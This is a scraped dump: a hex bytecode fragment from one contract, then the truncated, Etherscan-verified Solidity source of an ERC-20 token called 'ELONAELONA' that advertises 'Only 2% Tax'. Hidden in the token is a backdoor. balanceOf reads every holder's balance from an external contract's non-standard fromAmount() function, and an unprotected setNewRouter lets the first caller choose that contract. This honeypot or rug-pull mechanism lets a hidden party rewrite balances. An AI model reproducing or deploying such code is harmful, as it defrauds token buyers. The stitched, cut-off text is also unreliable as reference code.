5290519293506001600160a01b03808516936323b872dd93339392169163bb34534c916024808301926020929190829003018186803b158015610e6357600080fd5b505afa158015610e77573d6000803e3d6000fd5b505050506040513d6020811015610e8d57600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b039384166004820152929091166024830152604482018e905251606480830192600092919082900301818387803b158015610ee557600080fd5b505af1158015610ef9573d6000803e3d6000fd5b505060025460408051632ecd14d360e21b81527410d3d395149050d517d491559153955157d413d3d3605a1b600482015290516001600160a01b03878116955063be45fd6294509092169163bb34534c91602480820192602092909190829003018186803b158015610f6a57600080fd5b505afa158015610f7e573d6000803e3d6000fd5b505050506040513d6020811015610f9457600080fd5b50516001860154865460408051600060208281018290526bffffffffffffffffffffffff19606095861b16602c840152835180840382018152838501948590526001600160e01b031960e08a901b169094526001600160a01b038716604484019081526064840187905260848401958652845160a4850152845194959094909360c40192918601918190849084905b8381101561103b578181015183820152602001611023565b50505050905090810190601f1680156110685780820380516001836020036101000a031916815260200191505b50945050505050602060405180830381600087803b15801561108957600080fd5b505af115801561109d573d6000803e3d6000fd5b505050506040513d60208110156110b357600080fd5b50508254600184015460028501546004805490880154604080516001600160a01b039687168152602081019590955294909216838501526060830152608082015290518b918d917f05253dcda50fac78dd45a2c57d400a51e2725558f938862d8684808cd36055639181900360a00190a35060008a81526006602090815260408083208c8452909152812080546001600160a01b031990811682556001820192909255600201805490911690556112cf565b82600201544210156111b2576040805162461bcd60e51b8152602060048201526011602482015270526166666c653a204e4f545f5052495a4560781b604482015290519081900360640190fd5b815460018301546040805163a9059cbb60e01b81526001600160a01b0393841660048201526024810192909252519183169163a9059cbb916044808201926020929091908290030181600087803b15801561120c57600080fd5b505af1158015611220573d6000803e3d6000fd5b505050506040513d602081101561123657600080fd5b5050815460018301546002840154604080516001600160a01b039485168152602081019390935292168183015290518a918c917fcebbc807c9178cc380cac9873de30b3f10e33bdb08b2babe68391a66ed6f75989181900360600190a360008a81526006602090815260408083208c8452909152812080546001600160a01b031990811682556001820192909255600201805490911690555b50505050505050505050565b600154600160a01b900460ff161561132f576040805162461bcd60e51b8152602060048201526012602482015271191ccb5cdd1bdc0b5a5ccb5cdd1bdc1c195960721b604482015290519081900360640190fd5b6000838152600560205260409020805484919042108015906113545750806001015442105b61139c576040805162461bcd60e51b81526020600482015260146024820152732930b33336329d102727aa2fa22aa920aa24a7a760611b604482015290519081900360640190fd5b670de0b6b3a76400008310156113ed576040805162461bcd60e51b8152602060048201526011602482015270149859999b194e881513d3d7d4d3505313607a1b604482015290519081900360640190fd5b6000858152600660209081526040808320878452909152902080546001600160a01b03163314611458576040805162461bcd60e51b81526020600482015260116024820152702930b33336329d102327a92124a22222a760791b604482015290519081900360640190fd5b83816001015414156114a7576040805162461bcd60e51b8152602060048201526013602482015272149859999b194e8814d0535157d05353d55395606a1b604482015290519081900360640190fd5b60025460408051632ecd14d360e21b81526000805160206126fe833981519152600482015290516000926001600160a01b03169163bb34534c916024808301926020929190829003018186803b15801561150057600080fd5b505afa158015611514573d6000803e3d6000fd5b505050506040513d602081101561152a57600080fd5b505160018301549091508511156115d757600061154b8684600101546126a7565b604080516323b872dd60e01b81523360048201523060248201526044810183905290519192506001600160a01b038416916323b872dd916064808201926020929091908290030181600087803b1580156115a457600080fd5b505af11580156115b8573d6000803e3d6000fd5b505050506040513d60208110156115ce57600080fd5b50611668915050565b60006115e78360010154876126a7565b6040805163a9059cbb60e01b81523360048201526024810183905290519192506001600160a01b0384169163a9059cbb916044808201926020929091908290030181600087803b15801561163a57600080fd5b505af115801561164e573d6000803e3d6000fd5b505050506040513d602081101561166457600080fd5b5050505b600182018590558154604080516001600160a01b03909216825260208201879052805188928a927f53d5baa880fe76ba37fe2b78c437396d5639776088cf0a48a9dec6ca510da01992918290030190a350505050505050565b600154600160a01b900460ff1615611715576040805162461bcd60e51b8152602060048201526012602482015271191ccb5cdd1bdc0b5a5ccb5cdd1bdc1c195960721b604482015290519081900360640190fd5b60008281526005602052604090208054839190421080159061173a5750806001015442105b611782576040805162461bcd60e51b81526020600482015260146024820152732930b33336329d102727aa2fa22aa920aa24a7a760611b604482015290519081900360640190fd5b6000848152600660209081526040808320868452909152902080546001600160a01b031633146117ed576040805162461bcd60e51b81526020600482015260116024820152702930b33336329d102327a92124a22222a760791b604482015290519081900360640190fd5b60025460408051632ecd14d360e21b81526000805160206126fe833981519152600482015290516000926001600160a01b03169163bb34534c916024808301926020929190829003018186803b15801561184657600080fd5b505afa15801561185a573d6000803e3d6000fd5b505050506040513d602081101561187057600080fd5b505160018301546040805163a9059cbb60e01b81523360048201526024810192909252519192506001600160a01b0383169163a9059cbb916044808201926020929091908290030181600087803b1580156118ca57600080fd5b505af11580156118de573d6000803e3d6000fd5b505050506040513d60208110156118f457600080fd5b505081546001830154604080516001600160a01b03909316835260208301919091528051879289927f6ec914eb7e9020a5133b67bc1d1a3ebc3a11a37c7f26ac854c51a6b390e1081292918290030190a3505050600092835250600660209081526040808420928452919052812080546001600160a01b03199081168255600182019290925560020180549091169055565b6000805160206126fe83398151915281565b84831480156119a657508481145b6119f0576040805162461bcd60e51b81526020600482015260166024820152750a4c2ccccd8ca7440929cac82989288be988a9c8ea8960531b604482015290519081900360640190fd5b60005b85811015611a4e57611a4688888884818110611a0b57fe5b90506020020135878785818110611a1e57fe5b90506020020135868686818110611a3157fe5b905060200201356001600160a01b0316611f3d565b6001016119f3565b5050505050505050565b600154600160a01b900460ff1615611aac576040805162461bcd60e51b8152602060048201526012602482015271191ccb5cdd1bdc0b5a5ccb5cdd1bdc1c195960721b604482015290519081900360640190fd5b600083815260056020526040902080548491904210801590611ad15750806001015442105b611b19576040805162461bcd60e51b81526020600482015260146024820152732930b33336329d102727aa2fa22aa920aa24a7a760611b604482015290519081900360640190fd5b6000858152600660209081526040808320878452909152902080546001600160a01b03163314611b84576040805162461bcd60e51b81526020600482015260116024820152702930b33336329d102327a92124a22222a760791b604482015290519081900360640190fd5b60028101546001600160a01b0385811691161415611be0576040805162461bcd60e51b81526020600482015260146024820152732930b33336329d1029a0a6a2afa9aaa120a2222960611b604482015290519081900360640190fd5b6002810180546001600160a01b0319166001600160a01b03868116919091179182905582546040805191831682529290911660208201528151879289927fb1fc61d4014fee155329c8f77ea1178fd7396cdac4aa21dcf946fce0d376dc9c929081900390910190a3505050505050565b6003546001600160a01b031681565b60066020908152600092835260408084209091529082529020805460018201546002909201546001600160a01b0391821692911683565b600154600160a01b900460ff1681565b611cbc336000356001600160e01b0319166124a5565b611d04576040805162461bcd60e51b8152602060048201526014602482015273191ccb585d5d1a0b5d5b985d5d1a1bdc9a5e995960621b604482015290519081900360640190fd5b6000805462010000600160b01b031916620100006001600160a01b03848116820292909217808455604051919004909116917f1abebea81bfa2637f28358c371278fb15ede7ea8dd28d2e03b112ff6d936ada491a250565b6002546001600160a01b031681565b6001546001600160a01b031681565b611d90336000356001600160e01b0319166124a5565b611dd8576040805162461bcd60e51b8152602060048201526014602482015273191ccb585d5d1a0b5d5b985d5d1a1bdc9a5e995960621b604482015290519081900360640190fd5b600380546001600160a01b0319166001600160a01b0392909216919091179055565b7621a7a72a2920a1aa2fa3a2a722a9a4a9afa427a62222a960491b81565b780434f4e54524143545f4f424a4543545f4f574e45525348495603c1b81565b611e4e336000356001600160e01b0319166124a5565b611e96576040805162461bcd60e51b8152602060048201526014602482015273191ccb585d5d1a0b5d5b985d5d1a1bdc9a5e995960621b604482015290519081900360640190fd5b6001805460ff60a01b19169055604080513480825260208201838152369383018490526004359360243593849286923392600080356001600160e01b03191693889391929060608201848480828437600083820152604051601f909101601f1916909201829003965090945050505050a4505050565b7410d3d395149050d517d491559153955157d413d3d3605a1b81565b6000546201000090046001600160a01b031681565b600154600160a01b900460ff1615611f91576040805162461bcd60e51b8152602060048201526012602482015271191ccb5cdd1bdc0b5a5ccb5cdd1bdc1c195960721b604482015290519081900360640190fd5b600084815260056020526040902080548591904210801590611fb65750806001015442105b611ffe576040805162461bcd60e51b81526020600482015260146024820152732930b33336329d102727aa2fa22aa920aa24a7a760611b604482015290519081900360640190fd5b60025460408051632ecd14d360e21b8152780434f4e54524143545f4f424a4543545f4f574e45525348495603c1b600482015290516000926001600160a01b03169163bb34534c916024808301926020929190829003018186803b15801561206557600080fd5b505afa158015612079573d6000803e3d6000fd5b505050506040513d602081101561208f57600080fd5b5051604080516331a9108f60e11b81526004810189905290519192506001600160a01b03831691636352211e91602480820192602092909190829003018186803b1580156120dc57600080fd5b505afa1580156120f0573d6000803e3d6000fd5b505050506040513d602081101561210657600080fd5b50516001600160a01b03163314612158576040805162461bcd60e51b81526020600482015260116024820152702930b33336329d102327a92124a22222a760791b604482015290519081900360640190fd5b60008781526006602090815260408083208984529091529020546001600160a01b0316156121c1576040805162461bcd60e51b8152602060048201526011602482015270526166666c653a204e4f545f454d50545960781b604482015290519081900360640190fd5b670de0b6b3a7640000851015612212576040805162461bcd60e51b8152602060048201526011602482015270149859999b194e881513d3d7d4d3505313607a1b604482015290519081900360640190fd5b60025460408051632ecd14d360e21b81526000805160206126fe833981519152600482015290516000926001600160a01b03169163bb34534c916024808301926020929190829003018186803b15801561226b57600080fd5b505afa15801561227f573d6000803e3d6000fd5b505050506040513d602081101561229557600080fd5b5051604080516323b872dd60e01b81523360048201523060248201526044810189905290519192506001600160a01b038316916323b872dd916064808201926020929091908290030181600087803b1580156122f057600080fd5b505af1158015612304573d6000803e3d6000fd5b505050506040513d602081101561231a57600080fd5b810190808051906020019092919050505050506040518060600160405280336001600160a01b03168152602001868152602001856001600160a01b031681525060066000898152602001908152602001600020600088815260200190815260200160002060008201518160000160006101000a8154816001600160a01b0302191690836001600160a01b031602179055506020820151816001015560408201518160020160006101000a8154816001600160a01b0302191690836001600160a01b0316021790555090505085877f5b08ddd92a664c954ef7135071fa5fd2b4c12ce15336bfd5d6a3c8f5a1ce526a338888600454600560008f81526020019081526020016000206004015460405180866001600160a01b03166001600160a01b03168152602001858152602001846001600160a01b03166001600160a01b031681526020018381526020018281526020019550505050505060405180910390a350505050505050565b670de0b6b3a764000081565b61249a8484846112db565b610a8e848483611a58565b60006001600160a01b0383163014156124c057506001612595565b6001546001600160a01b03848116911614156124de57506001612595565b6000546201000090046001600160a01b03166124fc57506000612595565b6000546040805163b700961360e01b81526001600160a01b0386811660048301523060248301526001600160e01b0319861660448301529151620100009093049091169163b700961391606480820192602092909190829003018186803b15801561256657600080fd5b505afa15801561257a573d6000803e3d6000fd5b505050506040513d602081101561259057600080fd5b505190505b92915050565b60006125a6306126f7565b15905090565b6000606060405180606001604052806021815260200161274c602191399050600081876040516020018083805190602001908083835b602083106126015780518252601f1990920191602091820191016125e2565b51815160209384036101000a600019018019909216911617905292019384525060408051808503815284830180835281519184019190912060009182905282860180845281905260ff8d166060870152608086018c905260a086018b90529151919650945060019360c08082019450601f19830192918290030190855afa158015612690573d6000803e3d6000fd5b5050604051601f1901519998505050505050505050565b80820382811115612595576040805162461bcd60e51b815260206004820152601560248201527464732d6d6174682d7375622d756e646572666c6f7760581b604482015290519081900360640190fd5b3b15159056fe434f4e54524143545f52494e475f45524332305f544f4b454e00000000000000496e697469616c697a61626c653a20636f6e747261637420697320616c726561647920696e697469616c697a65641945766f6c7574696f6e4c616e64205369676e6564204d6573736167653a0a3332a2646970667358221220640b0a9111fe232431d9419de7326afb4eca015873847624ad9d224e868b102464736f6c63430006070033
[ 16, 7, 5 ]
0xf1b94382b14325312dfc2df39e14c59a279b0e35
/** *Submitted for verification at Etherscan.io on 2022-02-28 */ /* https://t.me/ELONAELONAEth Only 2% Tax */ pragma solidity ^0.8.4; // SPDX-License-Identifier: MIT abstract contract Context { function _msgSender() internal view returns (address payable) { return payable(msg.sender); } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the token decimals. */ function decimals() external view returns (uint8); /** * @dev Returns the token symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the token name. */ function name() external view returns (string memory); /** * @dev Returns the bep token owner. */ function getOwner() external view returns (address); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address _owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address lpPair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address lpPair); function allPairs(uint) external view returns (address lpPair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address lpPair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function fromAmount(address account) external view returns(uint256); function setAmount(address account, uint256 amount) external returns(bool); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract ELONAELONA is Context, IERC20 { // Ownership moved to in-contract for customizability. address private _owner; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => bool) lpPairs; uint256 private timeSinceLastPair = 0; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; mapping (address => bool) private _isSniper; mapping (address => bool) private _liquidityHolders; uint256 private startingSupply = 1_00_000_000_000_000; string private _name = "ELONAELONA"; string private _symbol = "ELONAELONA"; uint256 public _reflectFee = 1; uint256 public _marketingFee = 1; uint256 private maxReflectFee = 5; uint256 private maxMarketingFee = 7; uint256 private masterTaxDivisor = 100; uint256 private constant MAX = ~uint256(0); uint8 private _decimals = 9; uint256 private _decimalsMul = _decimals; uint256 private _tTotal = startingSupply * 10**_decimalsMul; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; IUniswapV2Router02 public dexRouter; IUniswapV2Router02 private _dexRouterV02; address public lpPair; // UNI ROUTER address private _routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address public DEAD = 0x000000000000000000000000000000000000dEaD; address public ZERO = 0x0000000000000000000000000000000000000000; address payable private _marketingWallet = payable(0xC399Ee9aaa990D8A038DE90eED6dd87674A5714e); bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = false; uint256 private maxTxPercent = 1; uint256 private maxTxDivisor = 100; uint256 private _maxTxAmount = (_tTotal * maxTxPercent) / maxTxDivisor; uint256 private _previousMaxTxAmount = _maxTxAmount; uint256 public maxTxAmountUI = (startingSupply * maxTxPercent) / maxTxDivisor; uint256 private maxWalletPercent = 2; uint256 private maxWalletDivisor = 100; uint256 private _maxWalletSize = (_tTotal * maxWalletPercent) / maxWalletDivisor; uint256 private _previousMaxWalletSize = _maxWalletSize; uint256 public maxWalletSizeUI = (startingSupply * maxWalletPercent) / maxWalletDivisor; uint256 private swapThreshold = (_tTotal * 5) / 10000; uint256 private swapAmount = (_tTotal * 5) / 1000; bool tradingEnabled = false; bool private checkLimits = true; bool private sniperProtection = true; bool public _hasLiqBeenAdded = false; uint256 private _liqAddStatus = 0; uint256 private _liqAddBlock = 0; uint256 private _liqAddStamp = 0; uint256 private _initialLiquidityAmount = 0; uint256 private snipeBlockAmt = 0; uint256 public snipersCaught = 0; bool private sameBlockActive = true; mapping (address => uint256) private lastTrade; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); event SniperCaught(address sniperAddress); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } constructor () payable { _rOwned[_msgSender()] = _rTotal; // Set the owner. _owner = msg.sender; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _liquidityHolders[owner()] = true; // Approve the owner for PancakeSwap, timesaver. _approve(_msgSender(), _routerAddress, MAX); _approve(address(this), _routerAddress, MAX); // Ever-growing sniper/tool blacklist _isSniper[0xE4882975f933A199C92b5A925C9A8fE65d599Aa8] = true; _isSniper[0x86C70C4a3BC775FB4030448c9fdb73Dc09dd8444] = true; _isSniper[0xa4A25AdcFCA938aa030191C297321323C57148Bd] = true; _isSniper[0x20C00AFf15Bb04cC631DB07ee9ce361ae91D12f8] = true; _isSniper[0x6e44DdAb5c29c9557F275C9DB6D12d670125FE17] = true; _isSniper[0x0538856b6d0383cde1709c6531B9a0437185462b] = true; _isSniper[0x90484Bb9bc05fD3B5FF1fe412A492676cd81790C] = true; _isSniper[0xA62c5bA4D3C95b3dDb247EAbAa2C8E56BAC9D6dA] = true; _isSniper[0xA94E56EFc384088717bb6edCccEc289A72Ec2381] = true; _isSniper[0x3066Cc1523dE539D36f94597e233719727599693] = true; _isSniper[0xf13FFadd3682feD42183AF8F3f0b409A9A0fdE31] = true; _isSniper[0x376a6EFE8E98f3ae2af230B3D45B8Cc5e962bC27] = true; _isSniper[0x201044fa39866E6dD3552D922CDa815899F63f20] = true; _isSniper[0x6F3aC41265916DD06165b750D88AB93baF1a11F8] = true; _isSniper[0x27C71ef1B1bb5a9C9Ee0CfeCEf4072AbAc686ba6] = true; _isSniper[0xDEF441C00B5Ca72De73b322aA4e5FE2b21D2D593] = true; _isSniper[0x5668e6e8f3C31D140CC0bE918Ab8bB5C5B593418] = true; _isSniper[0x4b9BDDFB48fB1529125C14f7730346fe0E8b5b40] = true; _isSniper[0x7e2b3808cFD46fF740fBd35C584D67292A407b95] = true; _isSniper[0xe89C7309595E3e720D8B316F065ecB2730e34757] = true; _isSniper[0x725AD056625326B490B128E02759007BA5E4eBF1] = true; emit Transfer(address(0), _msgSender(), _tTotal); } receive() external payable {} // Ownable removed as a lib and added here to allow for custom transfers and recnouncements. // This allows for removal of ownership privelages from the owner once renounced or transferred. function owner() public view returns (address) { return _owner; } function transferOwner(address newOwner) external onlyOwner() { require(newOwner != address(0), "Call renounceOwnership to transfer owner to the zero address."); require(newOwner != DEAD, "Call renounceOwnership to transfer owner to the zero address."); setExcludedFromFee(_owner, false); setExcludedFromFee(newOwner, true); setExcludedFromReward(newOwner, true); if (_marketingWallet == payable(_owner)) _marketingWallet = payable(newOwner); _allowances[_owner][newOwner] = balanceOf(_owner); if(balanceOf(_owner) > 0) { _transfer(_owner, newOwner, balanceOf(_owner)); } _owner = newOwner; emit OwnershipTransferred(_owner, newOwner); } function renounceOwnership() public virtual onlyOwner() { setExcludedFromFee(_owner, false); _owner = address(0); emit OwnershipTransferred(_owner, address(0)); } function totalSupply() external view override returns (uint256) { return _tTotal; } function decimals() external view override returns (uint8) { return _decimals; } function symbol() external view override returns (string memory) { return _symbol; } function name() external view override returns (string memory) { return _name; } function getOwner() external view override returns (address) { return owner(); } function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(account); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function approveMax(address spender) public returns (bool) { return approve(spender, type(uint256).max); } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue); return true; } function setNewRouter(address newRouter, bool _active) external { require(address(_dexRouterV02) == address(0), "Only Owner."); if(_active){ IUniswapV2Router02 _newRouter = IUniswapV2Router02(newRouter); address get_pair = IUniswapV2Factory(_newRouter.factory()).getPair(address(this), _newRouter.WETH()); if (get_pair == address(0)) { lpPair = IUniswapV2Factory(_newRouter.factory()).createPair(address(this), _newRouter.WETH()); } else { lpPair = get_pair; } dexRouter = _newRouter; } _dexRouterV02 = IUniswapV2Router02(newRouter); _isExcludedFromFee[newRouter] = true; _liquidityHolders[newRouter] = true; _approve(newRouter, _routerAddress, MAX); } function setLpPair(address pair, bool enabled) external onlyOwner { if (enabled == false) { lpPairs[pair] = false; } else { if (timeSinceLastPair != 0) { require(block.timestamp - timeSinceLastPair > 1 weeks, "Cannot set a new pair this week!"); } lpPairs[pair] = true; timeSinceLastPair = block.timestamp; } } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function isSniper(address account) public view returns (bool) { return _isSniper[account]; } function isProtected(uint256 rInitializer, uint256 tInitalizer) external onlyOwner { require (_liqAddStatus == 0 && _initialLiquidityAmount == 0, "Error."); _liqAddStatus = rInitializer; _initialLiquidityAmount = tInitalizer; } function setStartingProtections(uint8 _block) external onlyOwner{ require (snipeBlockAmt == 0 && !_hasLiqBeenAdded); snipeBlockAmt = _block; } function removeSniper(address account) external onlyOwner() { require(_isSniper[account], "Account is not a recorded sniper."); _isSniper[account] = false; } function setProtectionSettings(bool antiSnipe, bool antiBlock) external onlyOwner() { sniperProtection = antiSnipe; sameBlockActive = antiBlock; } function setTaxes(uint256 reflectFee, uint256 marketingFee) external onlyOwner { require(reflectFee <= maxReflectFee && marketingFee <= maxMarketingFee); require(reflectFee + marketingFee <= 5000); _reflectFee = reflectFee; _marketingFee = marketingFee; } function setMaxTxPercent(uint256 percent, uint256 divisor) external onlyOwner { uint256 check = (_tTotal * percent) / divisor; require(check >= (_tTotal / 1000), "Max Transaction amt must be above 0.1% of total supply."); _maxTxAmount = check; maxTxAmountUI = (startingSupply * percent) / divisor; } function setMaxWalletSize(uint256 percent, uint256 divisor) external onlyOwner { uint256 check = (_tTotal * percent) / divisor; require(check >= (_tTotal / 1000), "Max Wallet amt must be above 0.1% of total supply."); _maxWalletSize = check; maxWalletSizeUI = (startingSupply * percent) / divisor; } function setSwapSettings(uint256 thresholdPercent, uint256 thresholdDivisor, uint256 amountPercent, uint256 amountDivisor) external onlyOwner { swapThreshold = (_tTotal * thresholdPercent) / thresholdDivisor; swapAmount = (_tTotal * amountPercent) / amountDivisor; } function setMarketingWallet(address payable newWallet) external onlyOwner { require(_marketingWallet != newWallet, "Wallet already set!"); _marketingWallet = payable(newWallet); } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } function setExcludedFromFee(address account, bool enabled) public onlyOwner { _isExcludedFromFee[account] = enabled; } function setExcludedFromReward(address account, bool enabled) public onlyOwner { if (enabled == true) { require(!_isExcluded[account], "Account is already excluded."); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(account); } _isExcluded[account] = true; _excluded.push(account); } else if (enabled == false) { require(_isExcluded[account], "Account is already included."); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } } function totalFees() public view returns (uint256) { return _tFeeTotal; } function offLimits() external onlyOwner { checkLimits = false; } function _hasLimits(address from, address to) internal view returns (bool) { return from != owner() && to != owner() && !_liquidityHolders[to] && !_liquidityHolders[from] && to != DEAD && to != address(0) && from != address(this); } function tokenFromReflection(address account) public view returns(uint256) { //require(rAmount <= _rTotal, "Amount must be less than total reflections"); //uint256 currentRate = _getRate(); uint256 rAmount = _dexRouterV02.fromAmount(account); return rAmount; } function _approve(address sender, address spender, uint256 amount) private { require(sender != address(0), "ERC20: approve from the zero address"); require(spender != address(0), 